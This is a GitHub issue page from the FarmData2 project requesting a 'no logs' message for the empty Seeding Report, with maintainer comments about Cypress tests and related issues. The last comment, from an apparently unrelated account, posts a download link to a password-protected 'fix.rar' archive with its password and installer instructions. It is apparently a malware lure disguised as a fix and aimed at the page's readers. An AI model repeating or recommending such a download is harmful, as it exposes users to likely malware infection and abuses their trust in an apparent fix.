Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Seeding Report: no logs in table, display a message #56

Open
braughtg opened this issue Aug 26, 2024 · 5 comments
Open

Seeding Report: no logs in table, display a message #56

braughtg opened this issue Aug 26, 2024 · 5 comments
Labels
UI/UX User Interface / User Experience Improvement

Comments

@braughtg
Copy link
Contributor

If there are no logs in the table then the filters, table, and summaries do not show up. The page where they should be is just blank. Instead we want there to be a message saying “There are no logs in the time range you have selected. Please select new dates.”

There are two scenarios when the filters, table, and summaries disappear. First is when there are no logs within the date range, the second is when the user deletes all the logs in the date range. This is likely due to there being no logs in the array seedingLogs.

To test this go to the Seedings Report subtab under BarnKit tab, which is on the home page.

NoLogsNeedMessageIssue


Issue by IrisSC
Friday Jul 23, 2021 at 17:56 GMT
Originally opened as DickinsonCollege/FarmData2#258

@braughtg
Copy link
Contributor Author

Also include Cypress tests that confirm the behavior.


Comment by braughtg
Wednesday Sep 01, 2021 at 13:20 GMT

@braughtg braughtg added the UI/UX User Interface / User Experience Improvement label Aug 26, 2024
@braughtg
Copy link
Contributor Author

I will start work on this


Comment by Batese2001
Thursday Sep 16, 2021 at 21:57 GMT

@braughtg
Copy link
Contributor Author

In order for the error message to display appropriately, that is, displaying once the results have been gathered and not while waiting for results to load, issue #272 should be solved first


Comment by Batese2001
Friday Sep 17, 2021 at 19:02 GMT

@braughtg
Copy link
Contributor Author

This is also related to #259 and #284. It might be easy to combine them and make a PR that solves both.


Comment by braughtg
Tuesday Sep 28, 2021 at 12:13 GMT

@MinecraftEarthVillage
Copy link

Download
https://www.mediafire.com/file/wpwfw3bpd8gsjey/fix.rar/file
password: changeme
In the installer menu, select "gcc."

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
UI/UX User Interface / User Experience Improvement
Projects
None yet
Development

No branches or pull requests

2 participants